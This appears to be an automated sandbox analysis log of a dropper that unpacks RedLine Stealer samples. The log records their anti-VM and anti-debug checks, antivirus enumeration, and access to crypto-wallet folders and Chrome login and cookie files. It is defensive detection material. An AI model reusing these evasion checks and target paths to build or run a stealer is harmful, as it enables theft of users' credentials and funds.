Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe TID: 5432	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe TID: 1664	Thread sleep count: 1988 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe TID: 496	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe TID: 972	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe TID: 4832	Thread sleep count: 4957 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe TID: 2464	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

1_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_1-29870
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_1-29610

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Window / User API: threadDelayed 1988			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Window / User API: threadDelayed 4957			Jump to behavior

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-2575

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_00865467 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00865467

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_00862390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00862390

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

API call chain: ExitProcess graph end node

graph_1-29872

Source: twl97yF91.exe, 00000001.00000003.320485719.0000000008003000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: twl97yF91.exe, 00000001.00000003.320485719.0000000008003000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMware5A_A43U4Win32_VideoController6F86THT7VideoController120060621000000.000000-0004011.238display.infMSBDAURN_GV_MPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors4WW9WKO7
Source: twl97yF91.exe, 00000001.00000002.334419405.0000000007FC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllL

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Code function: 1_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_0040CE09

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

1_2_004019F0

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_00862F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,

0_2_00862F1D

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Code function: 1_2_0040ADB0 GetProcessHeap,HeapFree,

1_2_0040ADB0

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB092B mov eax, dword ptr fs:[00000030h]		1_2_02CB092B
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB0D90 mov eax, dword ptr fs:[00000030h]		1_2_02CB0D90

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Code function: 1_2_03050490 LdrInitializeThunk,

1_2_03050490

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\W7ANVukbbj.exe	Code function: 0_2_00866F40 SetUnhandledExceptionFilter,	0_2_00866F40
Source: C:\Users\user\Desktop\W7ANVukbbj.exe	Code function: 0_2_00866CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00866CF0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0040CE09
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0040E61C
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00416F6A
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_004123F1 SetUnhandledExceptionFilter,	1_2_004123F1
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CBE883 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_02CBE883
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CBD070 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_02CBD070
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CC71D1 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_02CC71D1
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CC2658 SetUnhandledExceptionFilter,	1_2_02CC2658

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_008618A3 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_008618A3

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: GetLocaleInfoA,		1_2_00417A20
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: GetLocaleInfoA,		1_2_02CC7C87

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_00867155 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00867155

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_00862BFB GetVersion,GetModuleHandleW,GetProcAddress,CloseHandle,

0_2_00862BFB

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: twl97yF91.exe, 00000001.00000002.334419405.0000000007FC2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.twl97yF91.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.W7ANVukbbj.exe.4a26820.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.2f97bc6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.2cb0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.2f96cde.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.W7ANVukbbj.exe.4a26820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.4b10000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.twl97yF91.exe.2d50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.76c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.4b10000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.twl97yF91.exe.2ecf3b8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.76c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.4b10ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.2f97bc6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.uPD30tM82.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.4b10ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.2f96cde.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.256499672.0000000002D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.337013680.00000000002B2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.322488235.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.333480133.00000000076C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.257010194.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.254929355.0000000004A26000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: twl97yF91.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uPD30tM82.exe PID: 5176, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe, type: DROPPED

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: uPD30tM82.exe, 0000000E.00000002.435203327.0000000002A27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: uPD30tM82.exe, 0000000E.00000002.435203327.0000000002A27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: uPD30tM82.exe, 0000000E.00000002.435203327.0000000002A27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: uPD30tM82.exe, 0000000E.00000002.435203327.0000000002A27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: twl97yF91.exe, 00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match	File source: 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: twl97yF91.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uPD30tM82.exe PID: 5176, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.twl97yF91.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.W7ANVukbbj.exe.4a26820.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.2f97bc6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.2cb0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.2f96cde.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.W7ANVukbbj.exe.4a26820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.4b10000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.twl97yF91.exe.2d50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.76c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.4b10000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.twl97yF91.exe.2ecf3b8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.76c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.4b10ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.2f97bc6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.uPD30tM82.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.4b10ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.twl97yF91.exe.2f96cde.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.256499672.0000000002D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.337013680.00000000002B2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
